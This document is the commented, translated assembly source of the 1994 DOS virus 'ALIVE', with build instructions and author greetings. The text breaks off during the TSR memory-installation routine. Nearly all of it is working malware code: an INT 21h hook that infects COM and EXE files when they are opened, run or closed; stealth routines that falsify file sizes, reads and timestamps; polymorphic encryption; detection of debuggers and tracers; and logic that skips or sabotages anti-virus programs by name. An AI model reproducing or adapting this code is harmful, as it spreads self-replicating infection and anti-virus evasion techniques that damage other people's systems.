;============================================================================ ; ; ; ; ; ; ; THE AúLúIúVúE VIRUS ; ; ; ; ; ; ; Code by SiRiUS & Friends 1994, Germany ; ; ; ; ; ; ; ; 80X86 assembly language / MS-DOS 6.20 operating system ; ; ; ; ; ; --- ; ; ; ; ; German-to-english translation ; by Neuroknight, 1995 ; ; ;============================================================================ ; ; ; ; ; Dear Reader! ; ; ; Here we present the original, translated and fully commented source code of ; one of those so called self-replicating programs. ; ; ; ; Technical review of ALIVE: ; ; *) Memory resident, uses UMB, HIMEM (XMS) or conventional ; ; *) Full-stealth mechanism ; ; *) Polymorphic code decryptor (abbrev.) ; ; *) Interrupt-tracing 21h and 2fh ; ; *) Several retro techniques ; ; *) Memory "stealth" / windowing-technique ; ; *) System-File-Table support ( SFT ) ; ; *) 286-Instructions ; ; *) Interesting generation-counters ; ; *) No implied destruction of data ; ; ; --- ; ; ; PROGRAMMER's NOTES: ; --------------------- ; ; The Alive source is not perfect, it contains some bugs, which we ; know of. Especially in the SPM-engine-part about one half of the code ; has been deleted and alot was commented out. Since we do not have the ; desire to make the world's best poly-engine, plz dont measure it with ; Uruguays or others. If you like experimenting, you may reinsert the ; commented parts, write your own or erase a lot of garbage, have fun! ; Some parts of the code are programmed really inconsistently, surely ; you will find them, like the residency part although full-stealth ; seems to work fine. ; ; Alive does not infect L*.* files, so if you rename your substantial ; system/compiler-executables, you can experiment without being afraid ; of any uncontrolled actions. ; ; ; If you execute any Alive-infected file with the parameter AL (upper case), ; you will get information about the infection status, date of infection ; and some other interesting things, which allow tracing of the infection ; chain in a corrupted system. ; ; This info will look like: ; ; ----start---- ; ; <-<<< ALiVE >>>-> Programmed by SiRiUS, Germany 1994" ; ; FiRST NAME [000000] ; LAST NAME [000000] ; BiRTHDAY [00-00-00 00:00] ; HEiR [0000] ; SUM [0000] ; GENERATION [0000] ; ; ----end------ ; ; Find out what the various counters mean ! ; ; ; Alive contains an uninstall-function which allows you to remove ; the virus from memory, when it is resident. ; You only have to execute: ; ; mov ax,AskIfResident_AX ; mov si,AskIfResident_SI ; mov di,AskIfResident_DI ; mov bp,DeinstallDemand_BP ; int 21h ; ; This code will unhook the interrupt and free the memory used by ; Alive if possible. ; ; ; ; --- ; ; ; Nk greets (in a random order): Sirius, Mindmaniac, Tron, Mephisto, ; Metal Junkie, Priest, Metabolis, King Dan, Horde, Qark, Onkel D., ; Marky, TuIr, Exxon, ALAI-providers, DA-BBS/Omega, Tron-BBS, nb, ; Spiritual-Reality-BBS, someone from Germany who does not want to be ; mentioned and YOU! ; ; ; ; ; Compilation: ; -------------- ; 1. TASM /m6 ; 2. TLINK /x /t ; ; ; ; ; ; If you have any comments or serious bug-reports, don't hesistate to send ; us an e-mail or contact us on #virus on IRC (we prefer that you ask our ; friend NK first). ; ; ; ; ; DO NOT SEND e-MONEY! ; ; ; ; ; ;============================================================================ ; Here are some flags where 0 means NO, 1 means YES: FL_Infection_Close equ 1 ; Infect on closing ? FL_Anti_Tracer equ 1 ; Deinstall tracers ? FL_Inf_Break equ 1 ; Wait time betw. infections ? FL_Random_Fill equ 1 ; Pad ? FL_SVS_Res_Check equ 1 ; Skip installing if TSR found ? FL_Sleep equ 1 ; Wait time betw. installation and the first ; infection ? ;==[ include file: STRUCT.ASM ]============================================== Ofs equ Offset ;clever! Cmt equ Comment Directory STRUC DS_Drive db ? DS_File_Name db 8 dup(0) DS_File_Ext db 3 dup(0) DS_File_Attr db ? DS_Reserved db 10 dup(0) DS_Time dw ? DS_Date dw ? DS_Start_Clust dw ? DS_File_Size dd ? Directory ENDS FCB STRUC FCB_Drive db ? FCB_File_Name db 8 dup(0) FCB_File_Ext db 3 dup(0) FCB_Block dw ? FCB_Rec_Size dw ? FCB_File_Size dd ? FCB_File_Date dw ? FCB_File_Time dw ? FCB_Reserved db 8 dup(0) FCB_Record db ? FCB_Random dd ? FCB ENDS DTA STRUC DTA_Reserved db 21 dup(0) DTA_File_Attr db ? DTA_File_Time1 db ? ; = seconds DTA_File_Time2 db ? DTA_File_Date dw ? DTA_File_Size dd ? DTA_File_Name db 13 dup(0) DTA ENDS SFT STRUC SFT_Reserved1 dw ? ; 0 SFT_Open_Mode dw ? ; 2 SFT_File_Attr db ? ; 4 SFT_Reserved2 dw ? ; 5 SFT_Reserved3 dd ? ; 7 SFT_Reserved4 dw ? ; 11 SFT_File_Time dw ? ; 13 SFT_File_Date dw ? ; 15 SFT_File_SizeLo dw ? ; 17 SFT_File_SizeHi dw ? ; 19 SFT_Curr_OfsLo dw ? ; 21 SFT_Curr_OfsHi dw ? ; 23 SFT_Reserved7 dw ? ; 25 SFT_Reserved8 dd ? ; 27 SFT_Reserved9 db ? ; 31 SFT_File_Name db 8 dup(?) ; 32 = 20h SFT_File_Ext db 3 dup(?) ; 40 = 28h SFT ENDS ExeH STRUC Buf_0h dw 0 ; "MZ" oder "ZM" (selten) Buf_2h dw 0 ; Last page size Buf_4h dw 0 ; Size in pages Buf_6h dw 0 Buf_8h dw 0 Buf_ah dw 0 Buf_ch dw 0 Buf_eh dw 0 ; SS Buf_10h dw 0 ; SP Buf_12h dw 0 ; CheckSum Buf_14h dw 0 ; IP Buf_16h dw 0 ; CS Buf_18h dw 0 ; WINDOWS Marker ExeH ENDS ;=======================================[ end of include file: STRUCT.ASM ]== ; Constants follow: modActive = 0 modTransparent = 1 Allocated_None = 'N' Allocated_UMB = 'U' File_Mark_COM = 0 File_Mark_EXE = byte (Exit_Exe-FileType_Byte)-2 Time_ID = 21 ; infection marker HeaderLength = 1ah Nominal_VLength = 4608 ; virus length ; Virus length Body_VLength = End_Enc_Code - Encrypted_Code Reserve_Mem = ((2*Nominal_VLength)+256) shr 4 ; Conditions of files to not infect: F_Min_LengthCOM = 5000 F_Max_LengthCOM = 60000 F_Min_LengthEXE = 12 ; = ca. 6 kB F_Max_LengthEXE = 2000 ; = ca. 1000 kB SpareTime = 1 ;18 ; Wait this intervall betw. infections if ; flag above set (in 1/18.2 sec) SleepIntervall = 1 ;182 ; Activate after installation (in 1/18.2 sec) ; Are-you-there function-calls: AskIfResident_AX = 3000h AskIfResident_SI = 1000h AskIfResident_DI = 1414h YesResident_SI = 1732h YesResident_DI = 2000h DeinstallDemand_BP = 2236h .286 Code Segment Assume cs:code,ds:code,ss:code,es:code Org 100h Sample: jmp SHORT Encrypted_Code nop Encrypted_Code: cld call Continue Delta equ $ Continue: ; Find delta-offset to relocate code pop bp sub bp,ofs Delta push Rout_DisplayCopyright call Use_Routine IF FL_SVS_Res_Check mov dx,'VS' ; MCB-Scan for "SV" (SVS) push Rout_ScanMCB call Use_Routine jz Exit_Program ; Do not install if SVS found ! mov dx,'EN' ; MCB-Scan for "NE" (NEMESIS) push Rout_ScanMCB call Use_Routine jz Exit_Program ; Do not install if NEMESIS found ! ENDIF ; Check if virus already installed, install if not! mov ax,AskIfResident_AX mov si,AskIfResident_SI mov di,AskIfResident_DI int 21h cmp si,YesResident_SI jnz Install cmp di,YesResident_DI jz Exit_Program Install: ; Find original int-EPs and patch some AV-TSRs push Rout_Trace_Interrupts call Use_Routine call Memory_Installation Exit_Program: db 0EBh ; = JMP-opcode FileType_Byte db File_Mark_COM Exit_Com: lea si,[bp+Old_ExeValues] mov di,100h ; Double function !! push di movsw movsb ZeroRegsForHost: mov cx,8 nullup: push 0 loop nullup popa ret Exit_Exe: mov ax,ds ; DS = PSP ! add ax,10h ; + 100h bytes of PSP add cs:[bp+Old_CS],ax ; = new CS add ax,0000 ; + old SS org $-2 Old_SS dw ? cli mov ss,ax ; set SS mov sp,0000 ; set SP org $-2 Old_SP dw ? sti call ZeroRegsForHost db 0EAh ; = JMP Old_CS:Old_IP ; In an EXE - header-values are stored here, ; in a COM - first 3 bytes are saved here Old_ExeValues: Old_IP dw 20cdh Old_CS dw 0 ;============================================================================ ; This calls the _vector-table_ interrupt handler ;============================================================================ INT21 proc near pushf call dword ptr cs:[OldInt21_Ofs] ret INT21 endp ;============================================================================ ; This calls the _traced_ DOS-Kernel 21 interrupt handler ;============================================================================ tINT21 proc near pushf db 9Ah TracedInt21_Ofs dw ? TracedInt21_Seg dw ? ret tINT21 endp ;============================================================================ ; This calls the _traced_ DOS-Kernel 2F interrupt handler ;============================================================================ tINT2F proc near pushf db 9Ah TracedInt2F_Ofs dw ? TracedInt2F_Seg dw ? ret tINT2F endp ;============================================================================ ; Neue InterruptRoutine ;============================================================================ NewInt_21: nop nop pushf ; Check if WINDOWS is active by checking the VGA-graphics mode pusha push ds push 0 pop ds mov al,byte ptr ds:[0449h] ;==Int10/AH=0fh pop ds cmp al,3 ;== text-modes jbe VGA_Mode_Ok cmp al,7 ;== text-mode je VGA_Mode_Ok popa jmp SkipVirusActivity ;graphics being displayed (e.g. WIN) VGA_Mode_Ok: popa ;-------------------------- IF FL_ANTI_TRACER ; Sprt Interrupt-Tracer auf und leitet sie um push bp cli push 64h mov bp,sp inc sp inc sp cmp byte ptr ss:[bp],0064h sti pop bp je no_Tracer popf iret no_Tracer: ENDIF cmp cs:VirModus,modTransparent jnz not_Transparent jmp SkipVirusActivity not_Transparent: IF FL_SLEEP ; Virus 'sleeps' for a time after installation push ds pushf push 0 ; doubleword at 0:46c pop ds cmp word ptr ds:[46ch+2],1111h org $-2 Slp_Hi dw ? ja enough_sleeping jb keep_sleeping cmp word ptr ds:[46ch] ,2222h org $-2 Slp_Lo dw ? ja enough_sleeping keep_sleeping: popf pop ds jmp SkipInfectionRoutines enough_sleeping: popf pop ds ENDIF ;=================== Infection procedures start here ======================== IF FL_INFECTION_CLOSE cmp ah,3eh ; CLOSE function, Infect on closing jnz not_Infect_On_Closing jmp Infect_On_Closing not_Infect_On_Closing: ENDIF cmp ah,3dh ; OPEN function jnz not_Open jmp Infect_Standard not_Open: cmp ax,4b00h ; EXEC function (skip overlays etc..) jnz not_Execute jmp Infect_Standard not_Execute: cmp ah,40h jnz Not_WriteToHandle cmp bl,4 ja wth_ok jmp False_Function wth_ok: push Rout_WriteToHandle call Use_Routine jmp False_Function Not_WriteToHandle: cmp ah,43h ; GET/SET ATTRIBUTE function jnz not_GetSetAttrib jmp Infect_Standard not_GetSetAttrib: SkipInfectionRoutines: ;=================== Stealth procedures start here ========================== ; Check out if stealth should be disabled push Rout_TestIfDoStealth call Use_Routine jz SkipVirusActivity cmp ah,3fh jnz not_ReadFromHandle popf push Rout_ReadFromHandle call Use_Routine retf 2 not_ReadFromHandle: cmp ax,4202h jnz not_SeekToEOF popf push Rout_SeekToEOF call Use_Routine retf 2 not_SeekToEOF: cmp ah,57h jnz not_GetSetHandleDateTime popf push Rout_GetSetHandleDateTime call Use_Routine retf 2 not_GetSetHandleDateTime: cmp ah,11h ; DIR (fcb) function jb not_DosDir cmp ah,12h ; DIR (fcb) function ja not_DosDir popf push Rout_DosDir call Use_Routine retf 2 not_DosDir: cmp ah,4eh ; FIND FIRST dir/file function jb not_DosFindFile cmp ah,4fh ; FIND NEXT dir/file function ja not_DosFindFile popf push Rout_DosFindFile call Use_Routine retf 2 not_DosFindFile: jmp SkipVirusActivity SkipVirusActivity: cmp ax,AskIfResident_AX ; Are-You-There-Test ? jne False_Function cmp si,AskIfResident_SI jne False_Function cmp di,AskIfResident_DI jne False_Function cmp bp,DeinstallDemand_BP ; Demand to deinstall virus je Deinstall mov si,YesResident_SI mov di,YesResident_DI popf iret Deinstall: push 0 pop ds cli mov ax,cs:OldInt21_Ofs mov ds:[21h*4],ax mov ax,cs:OldInt21_Seg mov ds:[21h*4+2],ax sti mov ah,49h ; release memory push cs pop es int 21h popf iret False_Function: popf ; The following compiles as: JMP FAR Old_Int21_ES:Old_Int21_BX db 0EAh OldInt21_Ofs dw 0 OldInt21_Seg dw 0 ;---------------------------------------------------------------------------- ;============================================================================ ; Infects at closing ;============================================================================ Infect_On_Closing: cmp bl,4 jbe False_Function pusha push ds es push cs pop ds mov Handle,bx mov Flag_InfectClose,1 call CloseInfection_EP mov cs:Flag_InfectClose,0 mov cs:Handle,-1 pop es ds popa jmp short False_Function ;============================================================================ ; Disinfects file which is written to (AH=40h) ;============================================================================ WriteToHandle PROC NEAR pusha push ds es push cs pop ds mov Handle,bx push Rout_Get_SFT call Use_Routine lea si,es:[di.SFT_File_Ext] ; executable ? push es pop ds push Rout_CheckExtensionForExec call Use_Routine jnz wth_notdisinfect ; exit push cs pop ds mov ax,5700h ; get stamp call tINT21 mov al,cl and al,00011111b cmp al,Time_ID jne wth_notdisinfect ; not infected.. push cx dx ; save stamps mov ax,4201h ; save file-pointer position xor cx,cx cwd call tInt21 ; Get current FilePosition to DX:AX push dx ax mov ax,4202h ; seek EOF - saved header mov cx,-1 mov dx,-HeaderLength call tINT21 mov ah,3fh ; read saved header bytes mov cx,HeaderLength mov dx,ofs Buffer call tINT21 mov ax,4200h ; seek TOF xor cx,cx cwd call tINT21 mov ah,40h ; write orig header mov cx,HeaderLength mov dx,ofs Buffer call tINT21 mov ax,4202h ; seek EOF - vir mov cx,-1 mov dx,-Nominal_VLength ; NEG'd call tINT21 mov ah,40h ; truncate file xor cx,cx call tINT21 mov ax,4200h ; Restore FilePointer position to CX:DX pop dx cx call tInt21 mov ax,5701h pop dx cx ; restore stamps and cl,11100000b ; mark uninfected call tINT21 wth_notdisinfect: pop es ds popa ret WriteToHandle ENDP WriteToHandle_end equ $ ;---------------------------------------------------------------------------- ;============================================================================ ; Falsifies the DOS's FCB functions 11h and 12h ;============================================================================ DosDir proc near call tINT21 pusha push ds es pushf cmp al,0 ; AL=0 == file match found jnz noFilesFound ; This overcomes the well known CHKDSK error mov ah,51h ; Get PSP to BX call tINT21 mov ds,bx mov ax,ds:[10h] dec ax mov ds,ax cmp ds:[13],'DN' ; COMMA_ND_.COM ? jne noFilesFound mov ah,2fh ; get DTA to ES:BX call tINT21 push es pop ds cmp byte ptr ds:[bx],-1 ; extended FCB ? jnz stdFCB add bx,7 stdFCB: mov al,byte ptr ds:[bx+23] and al,00011111b cmp al,Time_ID ; File infected ? jnz noFilesFound and byte ptr ds:[bx+23],11100000b cmp word ptr ds:[bx+29],Nominal_VLength jae DosDir_lenOK cmp word ptr ds:[bx+31],0 jz noFilesFound DosDir_lenOK: sub word ptr ds:[bx+29],Nominal_VLength sbb word ptr ds:[bx+31],0 noFilesFound: popf pop es ds popa ret DosDir endp DosDir_End equ $ ;============================================================================ ; Falsifies the DOS's HANDLE functions 4eh and 4fh ;============================================================================ DosFindFile proc near call tINT21 pusha push ds es pushf jc findError mov ah,2fh ;=> ES:BX = address of DTA call tINT21 push es pop ds mov al,ds:[bx.DTA_File_Time1] ; Seconds and al,00011111b cmp al,Time_ID ; File infected ? jnz findError and ds:[bx.DTA_File_Time1],11100000b cmp word ptr ds:[bx.DTA_File_Size],Nominal_VLength jae DosFind_lenOK cmp word ptr ds:[bx.DTA_File_Size+2],0 jz findError DosFind_lenOK: sub word ptr ds:[bx.DTA_File_Size],Nominal_VLength sbb word ptr ds:[bx.DTA_File_Size+2],0 findError: popf pop es ds popa ret DosFindFile endp DosFindFile_End equ $ ;============================================================================ ; If current process is one of conditions then skip the stealth features ; positive --> ZF, else --> NZ ;============================================================================ TestIfDoStealth PROC NEAR pusha push ds mov ah,51h call tint21 dec bx mov ds,bx mov si,8 cmp ds:[si],'KP' ; PKZIP jz ArchiverFound cmp ds:[si],'RA' ; ARJ jz ArchiverFound cmp ds:[si],'UU' ; UUENCODE jz ArchiverFound cmp ds:[si],'AB' ; BACKUP jz ArchiverFound cmp ds:[si],'HL' ; LHA jz ArchiverFound cmp ds:[si],'OM' ; MODEM ArchiverFound: pop ds popa ret TestIfDoStealth ENDP TestIfDoStealth_End equ $ ;============================================================================ ; Ever proceed a seek to (EOF-virusbody) on infected files ;============================================================================ SeekToEOF PROC NEAR pushf pusha mov ax,5700h ; Is File infected ? call tInt21 and cl,00011111b cmp cl,Time_ID popa jnz @sauber ; Not infected --> Exit stealth routine push cx or cx,dx ; EOF ? pop cx jnz @sauber mov cx,-1 mov dx,-Nominal_VLength @sauber: popf call Int21 ret SeekToEOF ENDP SeekToEOF_End equ $ ;============================================================================ ; Dont allow to get (Time_ID) secs on infected files and to set (Time_ID) ; seconds on clean files ;============================================================================ GetSetHandleDateTime PROC NEAR push cx and cl,00011111b ; Query to change seconds field to TimeID ? cmp cl,Time_ID pop cx jnz NotChangeSecs and cl,11100000b ; Mark as not infected if so (set to 0) NotChangeSecs: call tInt21 ;-- pushf push cx and cl,00011111b ; got TimeID secs ? cmp cl,Time_ID pop cx jnz NotGotSecs and cl,11100000b ; Mark as not infected if so (give 0) NotGotSecs: popf ;-- ret GetSetHandleDateTime ENDP GetSetHandleDateTime_End equ $ ;============================================================================ ; Full-stealth (Fileread) mechanism ; Metal-Junkie: here it is!, convince yourself! (nk) ;============================================================================ ReadFromHandle PROC NEAR mov cs:BufferSeg,ds mov cs:BufferOfs,dx call tInt21 pusha push ds es pushf push cs ; Assume DS:=CS (Save space) pop ds mov BytesRead,ax jnc @rfh1 @Error: jmp ReadError @rfh1: mov ax,5700h ; Is File infected ? call tInt21 and cl,00011111b cmp cl,Time_ID jne @Error ; Not infected --> Exit stealth routine mov ax,4201h ; Get current FilePosition to DX:AX xor cx,cx cwd call tint21 jc @Error sub ax,BytesRead ; Current file position - Bytesread is sbb dx,0 ; the pre-read file position in DX:AX mov PreReadPosHi,dx mov PreReadPosLo,ax mov ax,4202h ; Get infected file size to DX:AX xor cx,cx cwd call tint21 sub ax,Nominal_VLength ; Sutract VirusSize and get CarrierSize sbb dx,0 ; in DX:AX mov CarrierSizeLo,ax mov CarrierSizeHi,dx ;============================================================================ ; Decide if read was made from the header ;============================================================================ mov AX,PreReadPosHi mov dx,PreReadPosLo ; AX:DX = pre-read file ptr position or AX,AX jnz NotInHeader ; Not 0 means FilePosition >= 64 kB cmp dx,HeaderLength jae NotInHeader ; Not reading from header area ; Map Header contents sub dx,HeaderLength ; Get count bytes to map to DX neg dx ; DX must be smaller than ReadBytes, else map 'Readbytes' bytes mov AX,BytesRead cmp dx,ax ja ShortReadInHeader ; If there are bytes read in header mov AX,dx ; area only ShortReadInHeader: push AX ; = Number of bytes to map ; Read original header, which is located ; at the end of file (last few bytes) ; Go to proper file position (02 subfunction call requires NEGated values) mov ax,4202h mov cx,-1 mov dx,-HeaderLength call tInt21 ; Read from file mov ah,3fh ; Read to buffer at DS(=CS):DX mov dx,offset StealthBuffer mov cx,HeaderLength call tInt21 ; Map original bytes into the buffer pop cx ; = Number of bytes to map mov si,offset StealthBuffer mov es,BufferSeg mov di,BufferOfs cld rep movsb NotInHeader: ; Decide if we are reading in(to) the virus body mov cx,PreReadPosHi mov AX,PreReadPosLo ; CX:ax = OrigPos add AX,BytesRead adc cx,0 ; CX:AX = OrigPos + Read ; No stealth if ( Carrier >= (OrigPos+Read) ) cmp cx,CarrierSizeHi jb NoStealth ; if CarrierHi bigger => no stealth! ja Stealth ; if CarrierHi smaller => do stealth! cmp AX,CarrierSizeLo ; if hi-words equal => check lo-words! jbe NoStealth ; if Carrier bigger/equal => Stealth: ; Decide if to map out the whole ; read-buffer or a part only mov cx,CarrierSizeHi mov AX,CarrierSizeLo ; CX:AX = Carrier ; Map out whole area if (OriginPos >= Carrier) cmp cx,PreReadPosHi ; If OrigHi bigger => whole jb DoStealthInWholeReadArea ja PartStealth cmp AX,PreReadPosLo ja PartStealth DoStealthInWholeReadArea: mov BytesRead,0 jmp SHORT StealthDone PartStealth: mov AX,CarrierSizeLo ; CX:AX = Carrier sub AX,PreReadPosLo ; CX(=0):AX = Carrier - OrigPos mov BytesRead,AX ; Do stealth in part of read area StealthDone: NoStealth: mov ax,4200h ; Restore FilePointer position mov cx,PreReadPosHi ; CX:DX mov dx,PreReadPosLo add dx,BytesRead adc cx,0 call tInt21 ReadError: popf pop es ds popa mov ax,cs:BytesRead ret ReadFromHandle ENDP ReadFromHandle_End equ $ ;---------------------------------------------------------------------------- ;============================================================================ ; Infect file which name is at @DS:DX ;============================================================================ Infect_Standard PROC NEAR mov cs:HookedFunction,ah pusha ; Check if file-name to run/open is EXE or COM ! mov si,dx NextChar: lodsb cmp al,0 jz BadExt cmp al,'.' jnz NextChar push Rout_CheckExtensionForExec call Use_Routine jnz BadExt popa ;--- call Infection ;--- cmp cs:AttackAV,1 jnz goto_FalseFunction xor dx,dx ; Produce execution-error! mov cs:AttackAV,0 jmp goto_FalseFunction BadExt: popa goto_FalseFunction: jmp False_Function Infect_Standard ENDP Infect_Standard_End equ $ ;============================================================================ ; Infects a COM/EXE Datei (mechanism) ;============================================================================ Infection proc near pusha push ds es mov cs:NameDX,dx mov cs:NameDS,ds push dx ; Open file with Read/Only access mov AX,3D00h lds dx,dword ptr cs:NamePtr call tINT21 push CS pop DS push cs pop es jnc OpenedCorrectly @goto_Leave: jmp Need_To_Leave OpenedCorrectly: mov cs:Handle,ax ; Save handle xchg ax,bx ;======================================================== ; Entry Point of the Close-infection ( its clever NB !) ;======================================================== CloseInfection_EP: ; Laufwerke A: und B: werden umgangen mov ax,4400h call tINT21 and dl,20h+10h+8+4+2+1 ; bits 0-5 = Lw. mov cs:DriveNr,dl cmp dl,2 jae IsHarddisk jmp Leave_And_Close IsHarddisk: push Rout_Get_SFT call Use_Routine ; Do not infect all L*.* files / for testing purposes cmp Byte Ptr es:[di.SFT_File_Name],'L' jz goto_CloseLeave cmp Word Ptr es:[di.SFT_File_Name],'VS' ; "SVS" ? jnz not_SVS_executed mov cs:VirModus,modTransparent jmp Leave_And_Close not_SVS_executed: ; Check if COM or EXE File: lea si,es:[di.SFT_File_Ext] push es pop ds push Rout_CheckExtensionForExec call Use_Routine push cs pop ds jnz goto_CloseLeave ;============================================================================ ; Check if filename is an AV-Product ! ;============================================================================ ; AV-Gruppe "Ignore": mov cx,(AV_Table_Ignore_End-AV_Table_Ignore) /2 mov si,ofs AV_Table_Ignore Next_AV: lodsw cmp Word Ptr es:[di.SFT_File_Name],ax jz goto_CloseLeave loop Next_AV ; Second check if filename is an AV-Product ! ; AV-Gruppe "Attack": mov cx,(AV_Table_Attack_End-AV_Table_Attack) /2 mov si,ofs AV_Table_Attack Next_AV_2: lodsw cmp Word Ptr es:[di.SFT_File_Name],ax jz ProgToAttackFound No_Attack: loop Next_AV_2 ; Check if infected mov ax,es:[di.SFT_File_Time] and al,00011111b cmp al,Time_ID jnz Time_OK goto_CloseLeave: jmp Leave_And_Close ProgToAttackFound: cmp cs:HookedFunction,4bh jnz goto_CloseLeave mov cs:AttackAV,1 jmp SHORT goto_CloseLeave Time_OK: ; Force read/write mode mov word ptr es:[di.SFT_Open_Mode],2 ; Datum/Zeit sichern mov ax,es:[di.SFT_File_Time] mov Old_Time,ax mov ax,es:[di.SFT_File_Date] mov Old_Date,ax ; Save and clear attributes mov al,es:[di.SFT_File_Attr] mov Old_Attribs,al mov es:[di.SFT_File_Attr],0 ; Get file length directly from the SFT and save it mov ax,es:[di.SFT_File_SizeLo] mov File_SizeLo,ax mov ax,es:[di.SFT_File_SizeHi] mov File_SizeHi,ax ; File pointer to TOF using the SFT xor ax,ax mov es:[di.SFT_Curr_OfsLo],ax mov es:[di.SFT_Curr_OfsHi],ax ; Read the file header from file mov AH,3fh mov bx,Handle mov DX,ofs Buffer mov CX,ReadBuf_Length call INT21 JC go_leave ; Quit on error ; Save the file header in a safe place (OrigHeaderBuffer) push cs pop es mov si,ofs Buffer mov di,ofs OrigHeaderBuffer mov cx,ReadBuf_Length cld rep movsb IF FL_INF_BREAK call TestSpareIntervall jc go_leave ENDIF ; Check if EXE or COM file cmp word ptr Buffer.Buf_0h,'ZM' jz Process_EXE cmp word ptr Buffer.Buf_0h,'MZ' jz Process_EXE ; Process a COM file ! mov FileType_Byte,File_Mark_COM mov SI,ofs Buffer ; Starting at CS:BUFFER push CS ; ES:=cs pop ES mov DI,ofs Old_ExeValues movsw movsb mov ax,File_SizeLo mov Victim_Len,ax cmp AX,F_Min_LengthCOM ;Don't infect files less than xxxx bytes jb go_leave cmp AX,F_Max_LengthCOM ;Or bigger than xxxx bytes ja go_leave push ax ; COM-Files which are divisible by 100 will not be infected xor dx,dx mov cx,100 div cx ; AX := DX|AX div CX or dx,dx ; DX := DX|AX mod CX pop ax jnz not_mod100 go_leave: jmp Leave_And_Close not_mod100: sub ax,3 ; correction mov byte ptr [Buffer],0E9H ; = JMP NEAR Opcode mov word ptr [Buffer+1],ax ; virus position jmp Attach ;============================================================================ Process_EXE: mov FileType_Byte,File_Mark_EXE ; Dont infect to big/small EXE-files ! mov word ptr AX,Buffer.BUF_4h ; EXE size in 512 byte pages cmp AX,F_Min_LengthEXE ; Don't infect files less than xxxx pages JB go_leave cmp AX,F_Max_LengthEXE ; Or bigger than xxxx pages JA go_leave ; Skip WINDOWS files cmp word ptr cs:[ofs Buffer.Buf_18h],40h jz go_leave ; It's OK! Process it now ! les ax,dword ptr Buffer.Buf_14h ;Entry_Point_Disp mov Old_IP,ax mov Old_CS,es les ax,Dword Ptr Buffer.Buf_eh ;Stack_Disp mov Old_SS,ax mov Old_SP,es mov ax,Buffer.Buf_8h ; = Header size in paras mov cl,4 shl ax,cl ; Convert to byte-format push ax ; Save header size ; Get file size from SFT mov dx,File_SizeHi mov ax,File_SizeLo pop bx ; = Header size push ax ; Save filesize push dx ; -- sub ax,bx ; DX:AX := file size - header size sbb dx,0 mov cx,10h ; Convert to seg:ofs format div cx ; DX:AX := (DX:AX) / 10h mov Buffer.Buf_14h,dx ; New IP mov Buffer.Buf_16h,ax ; New CS mov Victim_Len,dx inc ax ; Avoid the "K" TB-flag (seems unecessary) mov Buffer.Buf_eh,ax ; New SS mov Buffer.Buf_10h,0 ; New SP pop dx pop ax ; = File size add ax,Nominal_VLength ; Lo-word adc dx,0 ; Hi-word push ax ; Lo-word shr ax,9 ; ror dx,9 stc adc dx,ax pop ax and ah,1 ; Mod 512 mov Buffer.Buf_4h,dx ; Size in pages (rounded up) mov Buffer.Buf_2h,ax ; Size of last page (in bytes) ; This part processes the virus-code-affection ; to a COM/EXE file ! ATTACH: ;PB:01 push cs ; ES:=CS pop es push cs ; DS:=CS pop ds ; Handle the origin signatures mov di,ofs InfNr ; Increment infection nr. call Increment4ASCIINumber mov di,ofs SumNr ; Increment infection nr. call Increment4ASCIINumber ; Create a 6-ASCII Number mov di,ofs MyStamp mov cx,6 CreateNextByte: mov ax,10 call Random add al,'0' stosb loop CreateNextByte ; Update the birth-date/time mov ah,4 int 1ah ;==> CH=Century CL=Year DH=Month DL=Day mov di,ofs Birth mov al,dh ; Day shr al,4 add al,'0' stosb mov al,dh and al,(8+4+2+1) add al,'0' stosb inc di mov al,dl ; Month shr al,4 add al,'0' stosb mov al,dl and al,(8+4+2+1) add al,'0' stosb inc di mov al,cl ; Year shr al,4 add al,'0' stosb mov al,cl and al,(8+4+2+1) add al,'0' stosb inc di ; Get RTC time mov ah,2 int 1ah mov al,ch ; Hours shr al,4 add al,'0' stosb mov al,ch and al,(8+4+2+1) add al,'0' stosb inc di mov al,cl ; Minutes shr al,4 add al,'0' stosb mov al,cl and al,(8+4+2+1) add al,'0' stosb ;PE:01 ; Create decryptor and encrypt ; virusbody using polymorphism call SPM ;PB:02 ;---------------------------------------------------------------------------- ; Write-to-file part of infection ;---------------------------------------------------------------------------- ; File pointer to EOF mov bx,Handle push Rout_Get_SFT call Use_Routine push es:[di.SFT_File_SizeHi] pop es:[di.SFT_Curr_OfsHi] push es:[di.SFT_File_SizeLo] pop es:[di.SFT_Curr_OfsLo] ; Save the original file header (now in ; OrigHeaderBuffer) to the end of the file ; ( == last 1Ah bytes ) push di ds es push cs pop ds push cs pop es mov cx,ReadBuf_Length mov si,ofs OrigHeaderBuffer mov di,ofs Enc_Buffer + Nominal_VLength - ReadBuf_Length cld rep movsb pop es ds di ;--- ; Copy encrypted virus to file mov ah,40h mov dx,ofs Enc_Buffer mov cx,Nominal_VLength call tINT21 ; File pointer to TOF using the SFT xor ax,ax mov es:[di.SFT_Curr_OfsLo],ax mov es:[di.SFT_Curr_OfsHi],ax ; Write the changed Buffer to TOF mov AH,40h ; Write to file mov DX,ofs Buffer mov CX,ReadBuf_Length call tINT21 mov AX,5701h mov cx,Old_Time mov dx,Old_Date and cl,11100000b or cl,Time_ID ; Mark with Time-ID call tINT21 ;PE:02 Leave_And_Close: ;---------------------------------------------------------------------------- ; If 'Close' is the current process then return back ;---------------------------------------------------------------------------- cmp cs:Flag_InfectClose,1 jne Not_InfectionOnClose ret Not_InfectionOnClose: mov AH,3EH ; close this file mov bx,Handle call tINT21 cmp DriveNr,2 jb Need_To_Leave ; Restore file attributes mov ax,4301h mov cl,Old_Attribs mov ch,0 lds dx,dword ptr cs:NamePtr call tINT21 Need_To_Leave: ;PE:03 pop DX ; Clear stack pop es ds popa ret Infection endp Infection_End equ $ ;============================================================================ ; TSR-installation (thanks to NB and NeuroKnight) ;============================================================================ Memory_Installation proc near ; Save the PSP push ds es mov cs:[bp+OldPSP],ds ; Bestimme die Gr”sse des Konv. Speichers (640kB=>0a000h) push 0 pop ds mov di,ds:[413h] ; RAM in kB shl di,6 ; konvertiere in Segment Adresse mov Byte Ptr cs:[bp+Alloc_Status],Allocated_None ; MCB-AllokationsStrategie lesen mov ax,5800h int 21h mov Word Ptr cs:[bp+Mem_Strat],ax ; Lese UMB Link Status, DOS 5.0+ / DOS>5.0 ==> C=1, AX=1 mov ax,5802h int 21h mov Byte Ptr cs:[bp+UMB_Strat],al ; Setze neue MCB-AllokationsStrategie mov ax,5801h mov bx,81h ; 80h First fit (Hi/Lo) ; 81h Best fit (Hi/Lo) ; 82h Last Fit (Hi/Lo) int 21h ; Set new UMB Link State mov ax,5803h mov bx,1 ; 1=MCB+UMB int 21h 